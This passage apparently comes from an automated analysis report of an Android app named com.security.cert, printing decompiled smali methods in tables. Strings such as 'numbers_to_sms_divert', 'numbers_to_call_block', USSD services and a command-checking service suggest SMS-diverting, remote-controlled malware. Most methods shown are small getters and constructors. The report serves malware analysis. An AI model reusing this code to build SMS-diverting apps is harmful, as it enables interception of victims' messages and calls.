11 | check-cast v0, Lcom/a/a/a/a; | |
12 | goto/16 :goto_3 | |
13 | cond_13: new-instance v0, Lcom/a/a/a/c; | |
15 | invoke-direct {v0, p0}, Lcom/a/a/a/c;-><init>(Landroid/os/IBinder;)V | |
16 | goto/16 :goto_3 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
4 | const-string v1, "is_program_stopped" | |
5 | const/4 v2, 0x0 | |
7 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z |
|
8 | move-result v0 | |
9 | return v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
4 | const-string v1, "recheck_commands_delay" | |
5 | const/16 v2, 0x3c | |
7 | invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I |
|
8 | move-result v0 | |
9 | return v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | try_start_0: | |
1 | const-string v0, "UTF-8" | |
3 | invoke-static {p3, v0}, Ljava/net/URLEncoder;->encode(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; |
|
4 | try_end_5: move-result-object p3 | |
5 | goto_6: | |
6 | invoke-static {p1, p2, p3}, Lcom/security/cert/a/a/c;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
7 | return-void | |
8 | catch_a: move-exception v0 | |
9 | goto/16 :goto_6 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "diverter_pref_key" | |
2 | const/4 v1, 0x0 | |
4 | invoke-virtual {p0, v0, v1}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
5 | move-result-object v0 | |
6 | return-object v0 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "\"command\":" | |
3 | invoke-virtual {p1, v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z |
|
4 | move-result v0 | |
5 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler; | |
2 | if-eqz v0, :cond_b | |
4 | iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler; | |
6 | invoke-virtual {v0, p1, p2}, Landroid/os/Handler;->obtainMessage(ILjava/lang/Object;)Landroid/os/Message; | |
7 | move-result-object v0 | |
8 | goto_a: return-object v0 | |
9 | cond_b: new-instance v0, Landroid/os/Message; | |
11 | invoke-direct {v0}, Landroid/os/Message;-><init>()V | |
12 | iput p1, v0, Landroid/os/Message;->what:I | |
13 | iput-object p2, v0, Landroid/os/Message;->obj:Ljava/lang/Object; | |
14 | goto/16 :goto_a |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const/4 v0, 0x2 | |
1 | new-array v0, v0, [Ljava/lang/String; | |
2 | const/4 v1, 0x0 | |
4 | const-string v2, "image/jpeg" | |
5 | aput-object v2, v0, v1 | |
6 | const/4 v1, 0x1 | |
8 | const-string v2, "image/png" | |
9 | aput-object v2, v0, v1 | |
10 | sput-object v0, Lcom/b/a/a/h;->a:[Ljava/lang/String; | |
11 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver; | |
2 | if-eqz v0, :cond_9 | |
4 | iget-object v0, p0, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->a:Landroid/content/BroadcastReceiver; | |
6 | invoke-virtual {p0, v0}, Lcom/security/cert/services/USSDDumbExtendedNetworkService;->unregisterReceiver(Landroid/content/BroadcastReceiver;)V | |
7 | cond_9: | |
8 | invoke-super {p0}, Landroid/app/Service;->onDestroy()V | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection; | |
2 | if-eqz v0, :cond_9 | |
4 | iget-object v0, p0, Lcom/security/cert/ui/UssdActivity;->a:Landroid/content/ServiceConnection; | |
6 | invoke-virtual {p0, v0}, Lcom/security/cert/ui/UssdActivity;->unbindService(Landroid/content/ServiceConnection;)V | |
7 | cond_9: | |
8 | invoke-super {p0}, Landroid/app/Activity;->onDestroy()V | |
9 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | new-instance v0, Ljava/util/zip/GZIPInputStream; | |
2 | iget-object v1, p0, Lcom/b/a/a/d;->wrappedEntity:Lorg/apache/http/HttpEntity; | |
4 | invoke-interface {v1}, Lorg/apache/http/HttpEntity;->getContent()Ljava/io/InputStream; | |
5 | move-result-object v1 | |
7 | invoke-direct {v0, v1}, Ljava/util/zip/GZIPInputStream;-><init>(Ljava/io/InputStream;)V | |
8 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity; | |
3 | invoke-static {p2}, Lcom/a/a/a/b;->a(Landroid/os/IBinder;)Lcom/a/a/a/a; | |
4 | move-result-object v1 | |
6 | invoke-static {v0, v1}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;Lcom/a/a/a/a;)Lcom/a/a/a/a; | |
7 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v1, p0, Lcom/b/a/a/a;->c:Lorg/apache/http/impl/client/DefaultHttpClient; | |
3 | iget-object v2, p0, Lcom/b/a/a/a;->d:Lorg/apache/http/protocol/HttpContext; | |
4 | new-instance v0, Lorg/apache/http/client/methods/HttpPost; | |
6 | invoke-direct {v0, p2}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
8 | invoke-direct {p0, v0, p3}, Lcom/b/a/a/a;->a(Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase;Lorg/apache/http/HttpEntity;)Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase; | |
9 | move-result-object v3 | |
10 | move-object v0, p0 | |
11 | move-object v4, p4 | |
12 | move-object v5, p5 | |
13 | move-object v6, p1 | |
15 | invoke-direct/range {v0 .. v6}, Lcom/b/a/a/a;->a(Lorg/apache/http/impl/client/DefaultHttpClient;Lorg/apache/http/protocol/HttpContext;Lorg/apache/http/client/methods/HttpUriRequest;Ljava/lang/String;Lcom/b/a/a/f;Landroid/content/Context;)V | |
16 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
2 | iput-object p1, p0, Lcom/b/a/a/e;->a:Lorg/apache/http/impl/client/AbstractHttpClient; | |
3 | iput-object p2, p0, Lcom/b/a/a/e;->b:Lorg/apache/http/protocol/HttpContext; | |
4 | iput-object p3, p0, Lcom/b/a/a/e;->c:Lorg/apache/http/client/methods/HttpUriRequest; | |
5 | iput-object p4, p0, Lcom/b/a/a/e;->d:Lcom/b/a/a/f; | |
6 | instance-of v0, p4, Lcom/b/a/a/h; | |
7 | if-eqz v0, :cond_12 | |
8 | const/4 v0, 0x1 | |
9 | iput-boolean v0, p0, Lcom/b/a/a/e;->e:Z | |
10 | cond_12: return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler; | |
2 | if-eqz v0, :cond_a | |
4 | iget-object v0, p0, Lcom/b/a/a/f;->a:Landroid/os/Handler; | |
6 | invoke-virtual {v0, p1}, Landroid/os/Handler;->sendMessage(Landroid/os/Message;)Z | |
7 | goto_9: return-void | |
8 | cond_a: | |
9 | invoke-virtual {p0, p1}, Lcom/b/a/a/f;->a(Landroid/os/Message;)V | |
10 | goto/16 :goto_9 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | const-class v0, Lcom/security/cert/b/a; | |
2 | invoke-virtual {v0}, Ljava/lang/Class;->desiredAssertionStatus()Z | |
3 | move-result v0 | |
4 | if-nez v0, :cond_c | |
5 | const/4 v0, 0x1 | |
6 | goto_9: sput-boolean v0, Lcom/security/cert/b/a;->a:Z | |
7 | return-void | |
8 | cond_c: const/4 v0, 0x0 | |
9 | goto/16 :goto_9 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-static {p0}, Lcom/security/cert/b/a/a;->g(Landroid/content/Context;)Landroid/content/SharedPreferences; | |
2 | move-result-object v0 | |
4 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
5 | move-result-object v0 | |
6 | return-object v0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "numbers_to_sms_divert" | |
3 | invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String; | |
4 | move-result-object v0 | |
5 | return-object v0 |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "numbers_to_call_block" | |
3 | invoke-static {p0, v0}, Lcom/security/cert/b/a/a;->e(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String; | |
4 | move-result-object v0 | |
5 | return-object v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity; | |
2 | const/4 v1, 0x0 | |
4 | invoke-static {v0, v1}, Lcom/security/cert/ui/UssdActivity;->a(Lcom/security/cert/ui/UssdActivity;Lcom/a/a/a/a;)Lcom/a/a/a/a; |
|
5 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "numbers_to_sms_divert" | |
3 | invoke-static {p0, p1, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
4 | return-void |
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
1 | const-string v0, "numbers_to_call_block" | |
3 | invoke-static {p0, p1, v0}, Lcom/security/cert/b/a/a;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/services/a;->b:Lcom/security/cert/services/CheckCommandsService; | |
1 | iput-object p2, p0, Lcom/security/cert/services/a;->a:Landroid/app/PendingIntent; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/services/b;->b:Lcom/security/cert/services/CheckQueueService; | |
1 | iput-object p2, p0, Lcom/security/cert/services/b;->a:Landroid/app/PendingIntent; | |
3 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/a;->a:Lcom/security/cert/ui/MessageDialogActivity; | |
3 | invoke-virtual {v0}, Lcom/security/cert/ui/MessageDialogActivity;->finish()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | iget-object v0, p0, Lcom/security/cert/ui/b;->a:Lcom/security/cert/ui/MessageDialogActivity; | |
3 | invoke-virtual {v0}, Lcom/security/cert/ui/MessageDialogActivity;->finish()V | |
4 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | if-eqz p2, :cond_5 | |
2 | invoke-virtual {p1, p2}, Lorg/apache/http/client/methods/HttpEntityEnclosingRequestBase;->setEntity(Lorg/apache/http/HttpEntity;)V | |
3 | cond_5: return-object p1 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/b/a/a/b;->a:Lcom/b/a/a/a; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/b/a/a/c;->a:Lcom/b/a/a/a; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/b/a/a/g;->a:Lcom/b/a/a/f; | |
2 | invoke-direct {p0}, Landroid/os/Handler;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
2 | iput p1, p0, Lcom/b/a/a/j;->c:I | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
2 | iput-object p1, p0, Lcom/a/a/a/c;->a:Landroid/os/IBinder; | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Lcom/security/cert/services/CheckCommandsService;->b()Z | |
2 | move-result v0 | |
3 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Lcom/security/cert/services/CheckQueueService;->b()Z | |
2 | move-result v0 | |
3 | return v0 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/services/c;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
2 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/services/d;->a:Lcom/security/cert/services/USSDDumbExtendedNetworkService; | |
2 | invoke-direct {p0}, Lcom/a/a/a/b;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/ui/a;->a:Lcom/security/cert/ui/MessageDialogActivity; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/ui/b;->a:Lcom/security/cert/ui/MessageDialogActivity; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/ui/c;->a:Lcom/security/cert/ui/UssdActivity; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | iput-object p1, p0, Lcom/security/cert/ui/d;->a:Lcom/security/cert/ui/UssdActivity; | |
2 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
3 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0, p1}, Lorg/apache/http/entity/HttpEntityWrapper;-><init>(Lorg/apache/http/HttpEntity;)V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Ljava/lang/Object;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/app/Service;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V | |
2 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
1 | invoke-direct {p0}, Landroid/app/Activity;-><init>()V | |
2 | return-void |